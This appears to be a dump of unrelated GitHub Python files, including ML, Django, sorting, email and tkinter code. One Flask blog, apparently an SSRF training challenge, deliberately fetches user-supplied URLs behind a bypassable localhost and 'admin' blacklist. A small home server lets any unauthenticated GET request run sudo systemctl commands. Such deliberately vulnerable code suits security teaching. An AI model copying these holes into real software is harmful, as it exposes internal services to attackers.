QtGui.QKeySequence(QtCore.Qt.Key_Tab)\n    hotkey_log = QtGui.QShortcut(hotkey_sequence, lib.get_parent())\n    hotkey_log.activated.connect(show)\n\n\ndef show():\n    maya_window = lib.get_parent()\n    # look for existing instances of QuickLauncher\n    ql = get_instance(maya_window, QuickLauncher)\n    if ql is None:\n        # create a new instance\n        ql = QuickLauncher(maya_window)\n    # clear out, move and show\n    ql.lineEdit.setText(\"\")\n    position_window(ql)\n    ql.exec_()\n\n\ndef position_window(window):\n    \"\"\"Position window to mouse cursor\"\"\"\n    pos = QtGui.QCursor.pos()\n    window.move(pos.x(), pos.y())\n\n\ndef get_instance(parent, gui_class):\n    for children in parent.children():\n        if isinstance(children, gui_class):\n            return children\n    return None\n","repo_name":"ReyhanehA/GDP17","sub_path":"40016_gui.py_C__Users_user_Desktop_data_2_data_google_data_csaez_quicklauncher_quicklauncher.py","file_name":"40016_gui.py_C__Users_user_Desktop_data_2_data_google_data_csaez_quicklauncher_quicklauncher.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2493722938","text":"from pybrain.datasets import ClassificationDataSet\nfrom pybrain.tools.shortcuts import buildNetwork\nfrom pybrain.supervised import BackpropTrainer\nimport pandas as pd\n\ndataframe = pd.read_csv('resultados_oficial.csv')\ndataset = ClassificationDataSet(2, 1, nb_classes=3, class_labels=['jovem', 'adulto', 'idoso'])\n\nfor entry in dataframe.to_dict(orient='records'):\n    dataset.addSample([entry['tam_frase'], entry['timedelta']], target=entry['age_id'])\n\ntrain_data_temp, part_data_t = dataset.splitWithProportion(0.6)\ntest_data_temp, val_data_temp = part_data_t.splitWithProportion(0.5)\n\ntrain_data = ClassificationDataSet(2, 1, nb_classes=3, class_labels=['jovem', 'adulto', 'idoso'])\nfor n in range(train_data_temp.getLength()):\n    train_data.addSample(train_data_temp.getSample(n)[0], train_data_temp.getSample(n)[1])\n\ntest_data = ClassificationDataSet(2, 1, nb_classes=3, class_labels=['jovem', 'adulto', 'idoso'])\nfor n in range(test_data_temp.getLength()):\n    test_data.addSample(test_data_temp.getSample(n)[0], test_data_temp.getSample(n)[1])\n\nval_data = ClassificationDataSet(2, 1, nb_classes=3, class_labels=['jovem', 'adulto', 'idoso'])\nfor n in range(val_data_temp.getLength()):\n    val_data.addSample(val_data_temp.getSample(n)[0], val_data_temp.getSample(n)[1])\n\ntrain_data._convertToOneOfMany(bounds=[0, 1])\ntest_data._convertToOneOfMany(bounds=[0, 1])\nval_data._convertToOneOfMany(bounds=[0, 1])\n\nfrom pybrain.structure.modules import SoftmaxLayer\nfrom pybrain.utilities import percentError\n\nnet = buildNetwork(train_data.indim, 5, train_data.outdim, outclass=SoftmaxLayer)\n\ndef show_weights(net):\n    for mod in net.modules:\n        for conn in net.connections[mod]:\n            print(conn)\n            for cc in range(len(conn.params)):\n                print(conn.whichBuffers(cc), conn.params)\n                print('\\n')\n\n#show_weights(net)\n\ntrainer = BackpropTrainer(net, dataset=train_data, learningrate=0.01, momentum=0.1)\ntrainer.trainUntilConvergence(maxEpochs=1000)\n\n#show_weights(net)\n\nout_test = net.activateOnDataset(test_data).argmax(axis=1)\nprint(\"Erro de teste: %f\" % percentError(out_test, test_data['target'][:,0]))\n\nout_val = net.activateOnDataset(val_data).argmax(axis=1)\nprint(\"Erro de validadação: %f\" % percentError(out_val, val_data['target'][:,0]))\n\nprint(\"-------------------------------------------\\nTeste:\")\nprint(\"saída da rede:\\t\", out_test)\nprint(\"correto      :\\t\", test_data['target'][:,0])\n\n\n'''\nfrom datetime import datetime, timedelta\n\nwhile True:\n    while True:\n        start = datetime.now()\n        user_string = \"Eu quero fotos do homem-aranha, na minha mesa, agora.\"\n        user_input = input(\"Digite a frase abaixo:\\n\\n %s \\n\\nPara sair digite 'exit'.\" % (user_string))\n\n        if user_string == user_input:\n            tempo_corrido = datetime.now() - start\n            our_out = net.activate([len(user_string), tempo_corrido.seconds])\n            print(\"O output é: %f\" % (our_out[0]))\n\n        elif user_input == 'exit':\n            break\n\n        else:\n            print('Frases não estão iguais, por favor, tente de novo')\n    user_input = input(\"Deseja continuar? Digite 'exit' novamente para encerrar o programa.\")\n\n    if user_input == 'exit':\n        break\n'''","repo_name":"lukedandrade/RNA_project","sub_path":"RNA_v2.py","file_name":"RNA_v2.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13207430799","text":"from django.conf.urls import patterns, include, url\nfrom . import views\n\nurlpatterns = [\n    url(r'^$',views.index, name='index'),\n    url(r'^complaint/$',views.complain,name='complaint'),\n    url(r'^appliance/$',views.appliance,name='appliance'),\n    url(r'^use/$',views.use,name='usage'),\n    url(r'^(?P<appliance_id>[0-9]+)/$',views.details,name='details'),\n]\n","repo_name":"SpyD123/loadmanage","sub_path":"load/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25370209310","text":"\"\"\"\nBubble sort is a simple sorting algorithm. This sorting algorithm is comparison-based algorithm in which each pair of\nadjacent elements is compared and the elements are swapped if they are not in order.\nThis algorithm is not suitable for large data sets as its average and worst case complexity are of Ο(n2)\nwhere n is the number of items.\n\"\"\"\n\n\ndef sort_iteratively(arr):\n    swapped = False\n    for i in range(len(arr) - 1):\n        for j in range(len(arr) - 1):\n            if arr[j] > arr[j + 1]:\n                temp = arr[j]\n                arr[j] = arr[j + 1]\n                arr[j + 1] = temp\n                swapped = True\n\n        if not swapped:\n            break\n\n    return arr\n\n\nprint(sort_iteratively([3.8, -2, 1, 6, 5, 3, 1, 5, 6]))\n","repo_name":"NIkhilbadveli/DataStructuresAndAlgorithms","sub_path":"Algorithms/bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4312561220","text":"from flask import Flask, render_template, url_for, request\nimport urllib.request\nfrom urllib.parse import urlparse\n\n# config\napp = Flask(__name__)\n\n# Route for handling the index page\n@app.route('/')\n@app.route('/home')\ndef home():\n\timage_file = url_for('static', filename='images/home.jpg')\n\treturn render_template('index.html', title='Home', image_file=image_file)\n\n# Route for handeling POST request that display the vulnerability to the user\n@app.route('/', methods=['POST'])\n@app.route('/home', methods=['POST'])\ndef go_to():\n\turl = request.form.get('text')\t\t\n\tparsed_url = urlparse(url)\t\t\t\t\t\t\t#create a 6-item named tuple that contains the parse of the url in the form 'scheme://netloc/path;parameters?query#fragment'\n\tif 'localhost' in parsed_url.netloc or ( len((parsed_url.netloc).split('.')) == 4 and  (parsed_url.netloc).split('.')[0] == '127'):\t\t#blackliost 'localhost' and address in the form '127.x.x.x'\n\t\treturn 'Eheheh I\\'ve learned from my mistake!'\n\telif (parsed_url.netloc).split('.')[0] == '127':\t#blacklist every address that starts with '127'\n\t\treturn '\\'You underestimate my power\\''\n\telif 'admin' in parsed_url.path:\t\t\t\t\t#blacklist the endpoint 'admin'\n\t\treturn 'Uhuh try again ;)'\n\telse:\n\t\treturn urllib.request.urlopen(url).read()\n\n# Route for handeling the rendering of the page of the post of the blog\n@app.route('/post1')\ndef get_post1():\n\treturn render_template('post1.html', title='Post 1')\n\n# Route for handeling the rendering of the page of the post of the blog\n@app.route('/post2')\ndef get_post2():\n\tf1 = url_for('static', filename='images/funny/f1.jpeg')\n\tf2 = url_for('static', filename='images/funny/f2.jpeg')\n\tf3 = url_for('static', filename='images/funny/f3.jpeg')\n\tf4 = url_for('static', filename='images/funny/f4.jpeg')\n\tf5 = url_for('static', filename='images/funny/f5.jpeg')\n\tf6 = url_for('static', filename='images/funny/f6.jpeg')\n\tf7 = url_for('static', filename='images/funny/f7.jpeg')\n\treturn render_template('post2.html', title='Post 2', f1=f1,f2=f2,f3=f3,f4=f4,f5=f5,f6=f6,f7=f7)\n\n# Route for handeling the rendering of the page of the post of the blog\n@app.route('/post3')\ndef get_post3():\n\treturn render_template('post3.html', title='Post 3')\n\n# Route for handeling the rendering of the page of the post of the blog\n@app.route('/post4')\ndef get_post4():\n\treturn render_template('post4.html', title='Post 4')\n\t\n# start server\nif __name__ == '__main__':\n\tapp.run(host = \"0.0.0.0\", port = 80)","repo_name":"TommasoBuoso/SSRF-Quarantine-Blog","sub_path":"blacklist-version/app/main_app.py","file_name":"main_app.py","file_ext":"py","file_size_in_byte":2440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"4685400596","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nimport http.server\nimport subprocess\n\n\nclass CustomHTTPRequestHandler(http.server.BaseHTTPRequestHandler):\n\n    def do_GET(self):\n\n        if self.path == '/start':\n\n            self.send_response(200)\n            self.send_header('Content-type', 'text/plain')\n            self.end_headers()\n            command = 'sudo systemctl start smarthouse.service'\n            subprocess.run(command.split())\n        if self.path == '/stop':\n\n            self.send_response(200)\n            self.send_header('Content-type', 'text/plain')\n            self.end_headers()\n\n            command = 'sudo systemctl stop smarthouse.service'\n            subprocess.run(command.split())\n        if self.path == '/restore':\n\n            self.send_response(200)\n            self.send_header('Content-type', 'text/plain')\n            self.end_headers()\n\n            command = 'cp ./db/devices_back.json ./db/devices.json'\n            subprocess.run(command.split())\n        if self.path == '/clearLogs':\n\n            self.send_response(200)\n            self.send_header('Content-type', 'text/plain')\n            self.end_headers()\n\n            command = 'rm ./logs/logs.txt'\n            subprocess.run(command.split())\n\n      \n\n\nhttpd = http.server.HTTPServer(('0.0.0.0', 8008),\n                               CustomHTTPRequestHandler)\nhttpd.serve_forever()\n","repo_name":"andrewgll/smarthouse","sub_path":"startupServer.py","file_name":"startupServer.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"14896500715","text":"import threading\nimport typing\nfrom contextlib import suppress\nfrom dataclasses import dataclass\n\nimport apprise\nfrom loguru import logger\n\nfrom services.settings import config\nfrom utils.toolbox import from_dict_to_dataclass\n\n__all__ = [\"send\"]\n\n\n@dataclass\nclass AppriseAliasSMTP:\n    # Private\n    user: typing.Optional[str] = \"\"\n    password: typing.Optional[str] = \"\"\n\n    # Generic\n    domain: typing.Optional[str] = \"gmail.com\"\n    scheme: typing.Optional[str] = \"mailtos\"\n    smtp: typing.Optional[str] = \"smtp.gmail.com\"\n    name: typing.Optional[str] = \"XLangAI\"\n    from_email: typing.Optional[str] = \"\"\n\n    def __post_init__(self):\n        if not self.from_email:\n            self.from_email = f\"{self.user}@{self.domain}\"\n\n    def notify(\n        self,\n        message: str,\n        title: str,\n        to_emails: typing.Union[str, typing.List[str]],\n        servers: typing.Optional[typing.List[str]] = None,\n    ):\n        \"\"\"\n\n        :param servers:\n        :param message:\n        :param title:\n        :param to_emails: Real mailbox that can receive messages\n        :return:\n        \"\"\"\n        if isinstance(to_emails, str):\n            to_emails = [to_emails]\n        if not servers:\n            servers = []\n\n        servers.extend(\n            [\n                f\"{self.scheme}://{self.user}:{self.password}@{self.domain}?\"\n                f\"smtp={self.smtp}&name={self.name}&from={self.from_email}&to={to_email}\"\n                for to_email in to_emails\n            ]\n        )\n\n        apobj = apprise.Apprise()\n        apobj.add(servers)\n        threading.Thread(target=apobj.notify, kwargs={\"body\": message, \"title\": title}).start()\n        logger.debug(f\"send email to {to_emails}\")\n\n\ndef send(*, to_email: str):\n    try:\n        smtp_config = config.apprise[\"smtp\"]\n    except KeyError as e:\n        logger.error(\"Failed to get Apprise.smtp settings from system config.yaml\", err=e.args)\n        return False\n\n    servers = []\n    with suppress(KeyError):\n        servers.extend(config.apprise[\"servers\"])\n\n    _message = \"Congratulations, you have joined the Waitlist.\"\n    _title = \"XLangAI Waitlist\"\n\n    smtp_server: AppriseAliasSMTP = from_dict_to_dataclass(AppriseAliasSMTP, smtp_config)\n    smtp_server.notify(message=_message, title=_title, to_emails=to_email, servers=servers)\n","repo_name":"QIN2DIM/google-intergration","sub_path":"src/services/middleware/notification.py","file_name":"notification.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24033908855","text":"from tkinter import *\nfrom Problem import Problem\nfrom ProblemPart import ProblemPart, CheckEqual\n\nst_naloge=1\n\ndef okno_sklop(file_name):\n    root = Tk()\n\n    with open(file_name + \"_in.py\", \"r\", encoding=\"utf-8\") as f:\n        file_string = f.read()\n    global problem\n    problem = Problem.parse(file_string)\n    \n    w = 740 # width for the Tk root\n    h = 500 # height for the Tk root\n    # get screen width and height\n    ws = root.winfo_screenwidth() # width of the screen\n    hs = root.winfo_screenheight() # height of the screen\n    # calculate x and y coordinates for the Tk root window\n    x = (ws/2) - (w/2)\n    y = (hs/6) - (h/6)\n    # set the dimensions of the screen and where it is placed\n    root.geometry('%dx%d+%d+%d' % (w, h, x, y))\n    #root.geometry(\"840x600\") #širina, višina\n\n    def napisi_vsebino_dat_na_vmesnik():\n        global problem\n        global st_naloge\n        text_opis.insert('end', problem.description)\n        text_naslov.insert('end', problem.title)\n        \n\n    def napisi_vsebino_vmesnika_na_dat():\n        global problem\n        global st_naloge\n        lib_string_kopija=problem.lib_string # ker ga hočm zapisat na koncu in ne pri dodajanju trenutnega sklopa\n        lib_string=\"\"\n        head_string=problem.head_string\n        title = text_naslov.get(\"1.0\", 'end')\n        description=text_opis.get(\"1.0\", 'end')\n        parts_kopija=problem.parts#.copy()\n        parts=[]\n        problem=Problem(title, description, parts, lib_string, head_string)\n        \n        problem.write_on_file(file_name + \"_out.py\")\n        problem.parts=parts_kopija\n        problem.lib_string=lib_string_kopija\n\n    def naprej_na_dodajanje_nalog():\n        global problem\n        global st_naloge\n        okno_naloga()\n        \n    # text zapisan na vrhu okna\n    Label(root, text=\"Dodaj Sklop\", font='Helvetica 14 bold').grid(row=0, column=0, columnspan=3, sticky=\"w\")\n    # separator\n    separator = Frame(height=2, bd=1, relief=SUNKEN)\n    separator.grid(row=1, column=0, columnspan=3, sticky=\"we\")\n\n    # napis in okno za naslov naloge\n    Label(root, text=\"Naslov sklopa\",font='Helvetica 12').grid(row=2, column=0, columnspan=3, sticky=\"w\")\n    text_naslov = Text(root, width=90, height= 2, bg='white', bd=5, relief=SUNKEN)\n    # v = StringVar(root, value='default text')         ## na ta način v okno dodaš default text\n    # text_naslov.insert('end', \"naslov\")               ## na ta način v okno dodaš default text\n    text_naslov.grid(row=3, column=0, columnspan=3, sticky=\"we\")\n    # text_naslov.config(foreground=\"green\")            ## na ta način nastaviš barvo default texta\n\n    # napis in okno za opis naloge\n    Label(root, text=\"Opis sklopa\", font='Helvetica 12').grid(row=4, column=0, columnspan=3, sticky=\"w\")\n    text_opis = Text(root, width=90, height=20, bg='white', bd=5, relief=SUNKEN)\n    text_opis.grid(row=5, column=0, columnspan=3, sticky=\"we\")\n\n    napisi_vsebino_dat_na_vmesnik()\n\n    # gumbi\n    gumb_dodaj = Button(root, text=\"dodaj\", command=napisi_vsebino_vmesnika_na_dat, height=1, width=10, relief=RAISED, font='Helvetica 14')\n    gumb_dodaj.grid(row=6, column=0, sticky=\"w\")\n    \n    gumb_naprej_na_dodajanje_nalog = Button(root, text=\"naprej na dodajanje nalog\", command=naprej_na_dodajanje_nalog, height=1, width=22, relief=RAISED, font='Helvetica 14')\n    gumb_naprej_na_dodajanje_nalog.grid(row=6, column=1, sticky=\"w\")\n    \n    gumb_zapri_okno = Button(root, text=\"zapri okno\", command=root.destroy, height=1, width=10, relief=RAISED, font='Helvetica 14')\n    gumb_zapri_okno.grid(row=6, column=2, sticky=\"e\")\n\n    root.mainloop()\n    \n\n    \n    \ndef okno_naloga():\n    global st_naloge\n    global problem\n    root = Tk()\n\n    if st_naloge-1>=len(problem.parts):\n        problem.parts.append(ProblemPart(0, \"\", \"\", \"\", \"\"))\n    #print(\"id:\", problem.parts[st_naloge-1].part_id)\n    \n    w = 1075 # width for the Tk root\n    h = 750 # height for the Tk root\n    # get screen width and height\n    ws = root.winfo_screenwidth() # width of the screen\n    hs = root.winfo_screenheight() # height of the screen\n    # calculate x and y coordinates for the Tk root window\n    x = (ws/2) - (w/2)\n    y = (hs/6) - (h/6)\n    # set the dimensions of the screen and where it is placed\n    root.geometry('%dx%d+%d+%d' % (w, h, x, y))\n    #root.geometry(\"840x600\") #širina, višina\n    \n    def napisi_vsebino_dat_na_vmesnik():\n        global problem\n        global st_naloge\n        \n        text_opis.insert('end', problem.parts[st_naloge-1].description)\n        text_resitev.insert('end', problem.parts[st_naloge-1].solution)\n        text_prekoda.insert('end', problem.parts[st_naloge-1].precode)\n        \n        check_equal_testi=problem.parts[st_naloge-1].tests['check_equal']\n        #print(check_equal_testi)\n\n        okna_check_equal=[(text_testi_check_equal_st1, text_testi_check_equal_expression1, text_testi_check_equal_output1),\n                          (text_testi_check_equal_st2, text_testi_check_equal_expression2, text_testi_check_equal_output2),\n                          (text_testi_check_equal_st3, text_testi_check_equal_expression3, text_testi_check_equal_output3),\n                          (text_testi_check_equal_st4, text_testi_check_equal_expression4, text_testi_check_equal_output4),\n                          (text_testi_check_equal_st5, text_testi_check_equal_expression5, text_testi_check_equal_output5),\n                          (text_testi_check_equal_st6, text_testi_check_equal_expression6, text_testi_check_equal_output6)]\n        \n        equal_ki_ne_grejo_v_okna=[]\n        equal_st_okna=0\n        equal_st_testa=0\n        for equal_test in range(0, len(check_equal_testi)):\n            equal_st_testa+=1\n            \n            if len(check_equal_testi[equal_test])>1: # imamo povezavo z and\n                if equal_st_okna-1+len(check_equal_testi[equal_test])>=len(okna_check_equal):\n                    # zmanjkalo je check.equal oken za vse teste povezane z and\n                    # da ne prekinem and povezave, vse check.equal povezane z and (če ne grejo vsi v posebna okenca) napišem pod ostale teste\n                    for test in check_equal_testi[equal_test]:\n                            if check_equal_testi[equal_test].index(test)==len(check_equal_testi[equal_test])-1:\n                                text_testi_ostali.insert('end', str(test)+\"\\n\")\n                            else: text_testi_ostali.insert('end', str(test)+\" and \\ \\n\")\n                    \n                else:\n                    for test in check_equal_testi[equal_test]:\n                        okna_check_equal[equal_st_okna][0].insert(\"end\", equal_st_testa)\n                        okna_check_equal[equal_st_okna][1].insert(\"end\", test.expression[3:-3] if test.expression[0]==test.expression[1] else test.expression[1:-1])\n                        okna_check_equal[equal_st_okna][2].insert(\"end\", test.output)\n                        equal_st_okna+=1\n                    \n            else: # nimamo povezave z and\n                test=check_equal_testi[equal_test][0]\n                if equal_st_okna>=len(okna_check_equal): # zmanjako je check.equal oken, preostali check.equal testi gredo med ostale\n                        text_testi_ostali.insert('end', str(test)+\"\\n\")\n                else:\n                    okna_check_equal[equal_st_okna][0].insert(\"end\", equal_st_testa)\n                    okna_check_equal[equal_st_okna][1].insert(\"end\", test.expression[3:-3] if test.expression[0]==test.expression[1] else test.expression[1:-1])\n                    okna_check_equal[equal_st_okna][2].insert(\"end\", test.output)\n                    equal_st_okna+=1\n                    \n        text_testi_ostali.insert(\"end\", \"\\n\".join([\" and \\ \\n\".join([str(i) for i in sez]) for sez in problem.parts[st_naloge-1].tests['check_secret']]))\n        text_testi_ostali.insert(\"end\", \"\\n\")        \n        text_testi_ostali.insert(\"end\", problem.parts[st_naloge-1].tests['other'])\n        \n    \n    def napisi_vsebino_podnaloge_na_dat():\n        global problem\n        global st_naloge\n\n        part_id=problem.parts[st_naloge-1].part_id\n        description=text_opis.get(\"1.0\", 'end')\n        precode=text_prekoda.get(\"1.0\", 'end')\n        solution=text_resitev.get(\"1.0\", 'end')\n\n        tests = ProblemPart.parse_tests(text_testi_ostali.get(\"1.0\", 'end'))\n        #print(\"OSTALI:\", tests)\n\n        # teste v okni za check.equal je potrebno dodati k ostalim check.equal testom\n        okna_check_equal=[(text_testi_check_equal_st1, text_testi_check_equal_expression1, text_testi_check_equal_output1),\n                          (text_testi_check_equal_st2, text_testi_check_equal_expression2, text_testi_check_equal_output2),\n                          (text_testi_check_equal_st3, text_testi_check_equal_expression3, text_testi_check_equal_output3),\n                          (text_testi_check_equal_st4, text_testi_check_equal_expression4, text_testi_check_equal_output4),\n                          (text_testi_check_equal_st5, text_testi_check_equal_expression5, text_testi_check_equal_output5),\n                          (text_testi_check_equal_st6, text_testi_check_equal_expression6, text_testi_check_equal_output6)]\n        \n        okna_check_equal.reverse()\n        inside_and_connection=False\n        \n        for equal_st_okna in range(1, len(okna_check_equal)+1):\n            expression=\"'{0}'\".format(okna_check_equal[equal_st_okna-1][1].get(\"1.0\", 'end').strip())\n            output=okna_check_equal[equal_st_okna-1][2].get(\"1.0\", 'end').strip()\n            #print(expression, output)\n            if expression==\"''\": continue\n\n            if equal_st_okna==len(okna_check_equal) and inside_and_connection==False:\n                tests['check_equal'].insert(0, [CheckEqual(expression, output)])\n                \n            elif equal_st_okna==len(okna_check_equal) and inside_and_connection==True:\n                check_equals_connected_with_and.insert(0, CheckEqual(expression, output))\n                tests['check_equal'].insert(0, check_equals_connected_with_and)\n            else:\n\n                if inside_and_connection==False and okna_check_equal[equal_st_okna-1][0].get(\"1.0\", 'end')==okna_check_equal[equal_st_okna][0].get(\"1.0\", 'end'):\n                    inside_and_connection=True\n                    check_equals_connected_with_and=[CheckEqual(expression, output)]\n                elif inside_and_connection==True and okna_check_equal[equal_st_okna-1][0].get(\"1.0\", 'end')==okna_check_equal[equal_st_okna][0].get(\"1.0\", 'end'):\n                    check_equals_connected_with_and.insert(0, CheckEqual(expression, output))\n                elif inside_and_connection==True and okna_check_equal[equal_st_okna-1][0].get(\"1.0\", 'end')!=okna_check_equal[equal_st_okna][0].get(\"1.0\", 'end'):\n                    inside_and_connection=False\n                    check_equals_connected_with_and.insert(0, CheckEqual(expression, output))\n                    tests['check_equal'].insert(0, check_equals_connected_with_and)\n                elif inside_and_connection==False and okna_check_equal[equal_st_okna-1][0].get(\"1.0\", 'end')!=okna_check_equal[equal_st_okna][0].get(\"1.0\", 'end'):\n                    tests['check_equal'].insert(0, [CheckEqual(expression, output)])\n                \n   \n        #print(\"VSI:\", tests)\n\n        problem_part=ProblemPart(part_id, description, precode, solution, tests)\n        with open(file_name+'_out.py', \"a\", encoding=\"utf-8\") as f:\n            f.write(str(problem_part)+\"\\n\")\n        \n    def naslednja_naloga(): # kle se more vsebina naslednje naloge napisat na vmesnik\n        global st_naloge\n        global problem\n        st_naloge+=1\n        root.destroy()\n        okno_naloga()\n                                  \n    def napisi_lib_string_na_dat():\n        global problem\n        with open(file_name+'_out.py', \"a\", encoding=\"utf-8\") as f:\n            f.write(\"\\n\"+problem.lib_string)\n        root.destroy()\n                                  \n        \n    # text zapisan na vrhu okna\n    Label(root, text=\"Dodaj nalogo {0}\".format(st_naloge), font='Helvetica 14 bold').grid(row=0, column=0, columnspan=6, sticky=\"w\")\n    # separator\n    separator = Frame(height=2, bd=1, relief=SUNKEN)\n    separator.grid(row=1, column=0, columnspan=6, sticky=\"we\")\n\n    # napis in okno za opis naloge\n    Label(root, text=\"Opis naloge\",font='Helvetica 12').grid(row=2, column=0, columnspan=6, sticky=\"w\")\n    text_opis = Text(root, width=80, height=8, bg='white', bd=5, relief=SUNKEN)\n    text_opis.grid(row=3, column=0, columnspan=6, sticky=\"we\")\n\n    # napis in okno za prekodo naloge\n    Label(root, text=\"Prekoda naloge\", font='Helvetica 12').grid(row=4, column=0, columnspan=6, sticky=\"w\")\n    text_prekoda = Text(root, width=65, height=10, bg='white', bd=5, relief=SUNKEN)\n    text_prekoda.grid(row=5, column=0, columnspan=3, sticky=\"w\")\n\n    # napis in okno za rešitev naloge\n    Label(root, text=\"Rešitev naloge\", font='Helvetica 12').grid(row=4, column=3, columnspan=6, sticky=\"w\")\n    text_resitev = Text(root, width=65, height=10, bg='white', bd=5, relief=SUNKEN)\n    text_resitev.grid(row=5, column=3, columnspan=3, sticky=\"e\")\n\n    # napis za teste check equal\n    Label(root, text=\"Testi check equal\", font='Helvetica 12').grid(row=8, column=0, columnspan=3, sticky=\"w\")\n\n    # okno za check equal 1\n    text_testi_check_equal_st1 = Text(root, width=4, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_st1.grid(row=9, column=0, sticky=\"w\")\n\n    text_testi_check_equal_expression1 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_expression1.grid(row=9, column=1, sticky=\"w\")\n\n    text_testi_check_equal_output1 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_output1.grid(row=9, column=2, sticky=\"w\")\n\n    # okno za check equal 2\n    text_testi_check_equal_st2 = Text(root, width=4, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_st2.grid(row=10, column=0, sticky=\"w\")\n\n    text_testi_check_equal_expression2 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_expression2.grid(row=10, column=1, sticky=\"w\")\n\n    text_testi_check_equal_output2 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_output2.grid(row=10, column=2, sticky=\"w\")\n\n    # okno za check equal 3\n    text_testi_check_equal_st3 = Text(root, width=4, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_st3.grid(row=11, column=0, sticky=\"w\")\n\n    text_testi_check_equal_expression3 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_expression3.grid(row=11, column=1, sticky=\"w\")\n\n    text_testi_check_equal_output3 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_output3.grid(row=11, column=2, sticky=\"w\")\n\n    # okno za check equal 4\n    text_testi_check_equal_st4 = Text(root, width=4, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_st4.grid(row=12, column=0, sticky=\"w\")\n\n    text_testi_check_equal_expression4 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_expression4.grid(row=12, column=1, sticky=\"w\")\n\n    text_testi_check_equal_output4 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_output4.grid(row=12, column=2, sticky=\"w\")\n\n    # okno za check equal 5\n    text_testi_check_equal_st5 = Text(root, width=4, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_st5.grid(row=13, column=0, sticky=\"w\")\n\n    text_testi_check_equal_expression5 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_expression5.grid(row=13, column=1, sticky=\"w\")\n\n    text_testi_check_equal_output5 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_output5.grid(row=13, column=2, sticky=\"w\")\n\n    # okno za check equal 6\n    text_testi_check_equal_st6 = Text(root, width=4, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_st6.grid(row=14, column=0, sticky=\"w\")\n\n    text_testi_check_equal_expression6 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_expression6.grid(row=14, column=1, sticky=\"w\")\n\n    text_testi_check_equal_output6 = Text(root, width=29, height=2, bg='white', bd=5, relief=SUNKEN)\n    text_testi_check_equal_output6.grid(row=14, column=2, sticky=\"w\")\n\n    # napis in okno za preostale teste\n    Label(root, text=\"Ostali testi\", font='Helvetica 12').grid(row=8, column=3, columnspan=3, sticky=\"w\")\n    text_testi_ostali = Text(root, width=65, height=17, bg='white', bd=5, relief=SUNKEN)# font='Helvetica 12')\n    text_testi_ostali.grid(row=9, column=3, columnspan=3, rowspan=6, sticky=\"e\")\n\n    if st_naloge-1<len(problem.parts): napisi_vsebino_dat_na_vmesnik()\n\n    # gumbi\n    \n    gumb_dodaj = Button(root, text=\"dodaj nalogo\", command=napisi_vsebino_podnaloge_na_dat, height=1, width=20, relief=RAISED, font='Helvetica 14')\n    gumb_dodaj.grid(row=15, column=1, sticky=\"e\")\n\n    gumb_naslednja_naloga = Button(root, text=\"ustvari naslednjo nalogo\", command=naslednja_naloga, height=1, width=20, relief=RAISED, font='Helvetica 14')\n    gumb_naslednja_naloga.grid(row=15, column=2, sticky=\"e\")\n                                     \n    gumb_dodaj_sklop = Button(root, text=\"dodaj celoten sklop\", command=napisi_lib_string_na_dat, height=1, width=20, relief=RAISED, font='Helvetica 14')\n    gumb_dodaj_sklop.grid(row=15, column=4, columnspan=1, sticky=\"e\")\n\n    gumb_zapri_okno = Button(root, text=\"zapri okno\", command=root.destroy, height=1, width=20, relief=RAISED, font='Helvetica 14')\n    gumb_zapri_okno.grid(row=15, column=5, columnspan=1, sticky=\"e\")\n    \n    root.mainloop()\n\nif __name__ == \"__main__\":\n    file_name=\"../edit_files/naloga\"\n    okno_sklop(file_name)\n\n","repo_name":"vkriznar/pronalUI","sub_path":"src/other_files/tkinter_vmesnik_sklop_z_nalogami_equal.py","file_name":"tkinter_vmesnik_sklop_z_nalogami_equal.py","file_ext":"py","file_size_in_byte":18008,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
